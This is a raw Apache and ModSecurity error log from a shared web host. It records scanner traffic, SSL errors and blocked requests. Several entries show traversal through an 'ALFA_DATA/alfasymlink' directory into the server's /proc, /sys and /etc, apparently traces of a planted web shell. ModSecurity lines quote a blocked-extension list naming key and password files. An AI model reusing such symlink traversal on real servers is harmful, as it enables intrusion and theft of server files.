[Tue Oct 27 11:46:30.139970 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 98.83.10.183:51385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:0e/eject
[Tue Oct 27 11:46:34.665865 2026] [security2:error] [pid 3250097:tid 3250097] [client 107.172.76.131:60657] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDHT9-UH8rIZL85QFqJNAAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:46:34.665920 2026] [security2:error] [pid 3250097:tid 3250097] [client 107.172.76.131:60657] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDHT9-UH8rIZL85QFqJNAAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 11:46:38.186491 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 98.83.226.125:38540] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:46:42.151600 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 100.28.57.133:35197] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:46:50.259006 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 54.92.171.106:59567] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:00.471117 2026] [security2:error] [pid 3258933:tid 3258933] [client 138.122.21.19:63388] ModSecurity: Warning. Matched phrase "masscan" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: masscan found within REQUEST_HEADERS:User-Agent: ivre-masscan/1.3 https://github.com/robertdavidgraham/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "auDHdMZXnwzxAnw-k1TOUQAAAEw"]
[Tue Oct 27 11:47:00.484816 2026] [security2:error] [pid 3258933:tid 3258933] [client 138.122.21.19:63388] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "auDHdMZXnwzxAnw-k1TOUQAAAEw"]
[Tue Oct 27 11:47:00.493008 2026] [security2:error] [pid 3258933:tid 3258933] [client 138.122.21.19:63388] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "auDHdMZXnwzxAnw-k1TOUQAAAEw"]
[Tue Oct 27 11:47:00.493384 2026] [security2:error] [pid 3258933:tid 3258933] [client 138.122.21.19:63388] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request Missing a Host Header"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "auDHdMZXnwzxAnw-k1TOUQAAAEw"]
[Tue Oct 27 11:47:00.493446 2026] [security2:error] [pid 3258933:tid 3258933] [client 138.122.21.19:63388] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "auDHdMZXnwzxAnw-k1TOUQAAAEw"]
[Tue Oct 27 11:47:02.137295 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 23.23.103.31:41421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:06.190479 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 52.54.157.23:46206] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:14.122309 2026] [security2:error] [pid 3258910:tid 3258910] [client 52.200.142.199:40993] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/cpu0/cache/index2/"] [unique_id "auDHghjRnDqVsOt0-EVHZwAAACg"]
[Tue Oct 27 11:47:14.122381 2026] [security2:error] [pid 3258910:tid 3258910] [client 52.200.142.199:40993] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/cpu0/cache/index2/"] [unique_id "auDHghjRnDqVsOt0-EVHZwAAACg"]
[Tue Oct 27 11:47:18.144071 2026] [security2:error] [pid 3258930:tid 3258930] [client 52.3.127.170:43459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory6/node0/cpu1/hotplug/"] [unique_id "auDHhsVDsspnBBo_YCYZFgAAAEc"]
[Tue Oct 27 11:47:18.144129 2026] [security2:error] [pid 3258930:tid 3258930] [client 52.3.127.170:43459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory6/node0/cpu1/hotplug/"] [unique_id "auDHhsVDsspnBBo_YCYZFgAAAEc"]
[Tue Oct 27 11:47:30.123890 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 3.220.148.166:47317] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:34.302471 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 54.83.240.58:25813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:34.854844 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 185.191.171.6:34268] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:46.144827 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 23.23.103.31:31555] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:47:58.139687 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 52.44.174.136:22292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:01.396966 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 85.208.96.201:53964] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:06.307335 2026] [core:error] [pid 3258831:tid 3258831] (13)Permission denied: [client 52.3.155.146:34666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/uartclk
[Tue Oct 27 11:48:10.119363 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 54.156.55.147:11144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:14.148432 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.157.99.244:55873] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:22.135842 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 52.204.71.8:13151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:26.234221 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 52.4.76.156:2050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:30.141422 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 44.207.69.106:32761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:34.242920 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 23.23.103.31:46299] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:38.248320 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 52.7.33.248:18409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:50.207743 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 184.73.239.35:18785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:48:54.286604 2026] [core:error] [pid 3258811:tid 3258811] (13)Permission denied: [client 100.29.160.53:65462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/subsystem/uevent
[Tue Oct 27 11:49:00.316776 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 185.191.171.17:46794] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:02.163528 2026] [ssl:error] [pid 3258930:tid 3258930] (70014)End of file found: [client 85.208.96.209:20228] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:10.190842 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 44.216.172.204:20696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:14.168249 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 52.1.106.130:10413] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:18.505169 2026] [ssl:error] [pid 3258930:tid 3258930] (70014)End of file found: [client 185.191.171.14:19390] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:19.597182 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 185.191.171.14:19406] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:26.158699 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 18.214.238.178:14415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:46.205390 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 52.7.33.248:29497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:50.135317 2026] [ssl:error] [pid 3258930:tid 3258930] (70014)End of file found: [client 52.3.102.51:7296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:49:54.182713 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.216.227.216:49190] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:50:14.533625 2026] [core:error] [pid 3258811:tid 3258811] (13)Permission denied: [client 44.215.210.112:19706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/subsystem/drivers/processor/cpu0/subsystem/drivers_probe
[Tue Oct 27 11:50:18.136072 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 23.21.119.232:19477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:50:30.198794 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 18.207.79.144:18604] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:50:34.300700 2026] [ssl:error] [pid 3258930:tid 3258930] (70014)End of file found: [client 34.192.125.239:1640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:50:38.163622 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 52.204.71.8:37208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:50:42.158241 2026] [core:error] [pid 3259050:tid 3259050] (13)Permission denied: [client 34.231.77.232:48611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/subsystem/uevent
[Tue Oct 27 11:51:04.604561 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:60674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDIXBjRnDqVsOt0-EVHdAAAACg"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 11:51:04.604644 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:60674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDIXBjRnDqVsOt0-EVHdAAAACg"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 11:51:06.167381 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 3.227.180.70:56241] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:12.100220 2026] [core:error] [pid 3258845:tid 3258845] (13)Permission denied: [client 85.208.96.201:35750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/destroy_by_rcu
[Tue Oct 27 11:51:14.236100 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 52.71.216.196:58710] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:30.167536 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 52.200.54.136:60558] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:34.131329 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 18.214.251.19:60119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:42.191496 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 35.170.205.140:22396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:43.725942 2026] [security2:error] [pid 3257860:tid 3257860] [client 85.208.96.193:30096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/wapisimodatabase.log"] [unique_id "auDIj7oFvrtxaP8UH_Y7BAAAACU"]
[Tue Oct 27 11:51:43.726354 2026] [security2:error] [pid 3257860:tid 3257860] [client 85.208.96.193:30096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/wapisimodatabase.log"] [unique_id "auDIj7oFvrtxaP8UH_Y7BAAAACU"]
[Tue Oct 27 11:51:43.727237 2026] [security2:error] [pid 3257860:tid 3257860] [client 85.208.96.193:30096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auDIj7oFvrtxaP8UH_Y7BAAAACU"]
[Tue Oct 27 11:51:44.285660 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 185.191.171.12:26066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:46.145968 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 18.209.137.234:3411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:54.150473 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 35.172.125.172:61676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:51:58.144860 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 54.84.161.62:42841] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:52:02.216178 2026] [core:error] [pid 3258845:tid 3258845] (13)Permission denied: [client 44.195.145.102:8231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:06/physical_node/resource4_wc
[Tue Oct 27 11:52:14.308314 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 54.163.136.244:58173] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:52:15.629928 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 185.191.171.13:58060] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:52:22.173659 2026] [ssl:error] [pid 3257234:tid 3257234] (70014)End of file found: [client 3.94.156.104:34120] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:52:34.237984 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 184.73.195.18:26457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:52:42.187650 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 3.208.156.9:54313] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:06.504557 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 52.70.209.13:38697] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:18.443736 2026] [ssl:error] [pid 3258842:tid 3258842] (70014)End of file found: [client 52.70.209.13:61534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:22.274982 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 54.166.104.83:6026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/subsystem/drivers/rtc_cmos/uevent
[Tue Oct 27 11:53:26.303877 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 3.220.70.171:60142] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:34.403670 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 54.166.126.132:58253] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:38.326232 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 54.84.169.196:15197] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:38.750268 2026] [authz_core:error] [pid 3260247:tid 3260247] [client 45.198.224.125:40324] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 11:53:39.636355 2026] [security2:error] [pid 3258828:tid 3258828] [client 185.191.171.14:33540] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/gssproxy/99-nfs-client.conf"] [unique_id "auDJA9iWJdPMg0Q5CZR65AAAAEU"]
[Tue Oct 27 11:53:39.636815 2026] [security2:error] [pid 3258828:tid 3258828] [client 185.191.171.14:33540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/gssproxy/99-nfs-client.conf"] [unique_id "auDJA9iWJdPMg0Q5CZR65AAAAEU"]
[Tue Oct 27 11:53:39.637123 2026] [security2:error] [pid 3258828:tid 3258828] [client 185.191.171.14:33540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/gssproxy/99-nfs-client.conf"] [unique_id "auDJA9iWJdPMg0Q5CZR65AAAAEU"]
[Tue Oct 27 11:53:42.318939 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 98.82.214.73:54340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:53:46.537448 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 23.23.214.190:28764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:54:02.795214 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 185.191.171.11:11824] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:54:10.396643 2026] [ssl:error] [pid 3258910:tid 3258910] (5)Input/output error: [client 52.4.238.8:12178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:54:38.507295 2026] [core:error] [pid 3257805:tid 3257805] (13)Permission denied: [client 18.209.201.119:10878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:1e/subsystem/drivers_probe
[Tue Oct 27 11:54:54.546471 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 44.221.227.90:3402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:19.031411 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 44.194.139.149:56894] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:22.740342 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 54.167.32.123:5905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:26.640804 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 54.85.126.86:51218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:30.934267 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 18.206.47.187:9442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:46.840579 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 18.214.251.19:27699] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:54.768868 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 3.213.106.226:54104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:55:57.255775 2026] [security2:error] [pid 3257860:tid 3257860] [client 107.172.76.131:60723] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDJgboFvrtxaP8UH_Y7EgAAACU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:55:57.255892 2026] [security2:error] [pid 3257860:tid 3257860] [client 107.172.76.131:60723] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDJgboFvrtxaP8UH_Y7EgAAACU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 11:56:07.390765 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 185.191.171.13:54312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:56:22.867230 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 44.209.187.99:13986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:56:38.959187 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 35.174.141.243:30026] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:56:46.966269 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 44.194.139.149:45235] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:56:59.259888 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 52.45.15.233:53090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:57:07.100265 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 34.236.41.241:29637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:57:23.379526 2026] [ssl:error] [pid 3258828:tid 3258828] (70014)End of file found: [client 35.174.141.243:54353] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:57:31.329943 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 44.223.232.55:30713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:57:39.196537 2026] [core:error] [pid 3258811:tid 3258811] (13)Permission denied: [client 85.208.96.200:63434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/free_calls
[Tue Oct 27 11:57:51.369167 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 52.204.253.129:57906] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:01.288484 2026] [authz_core:error] [pid 3260714:tid 3260714] [client 185.191.171.18:31672] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/home/sherwinpinturas/php.ini
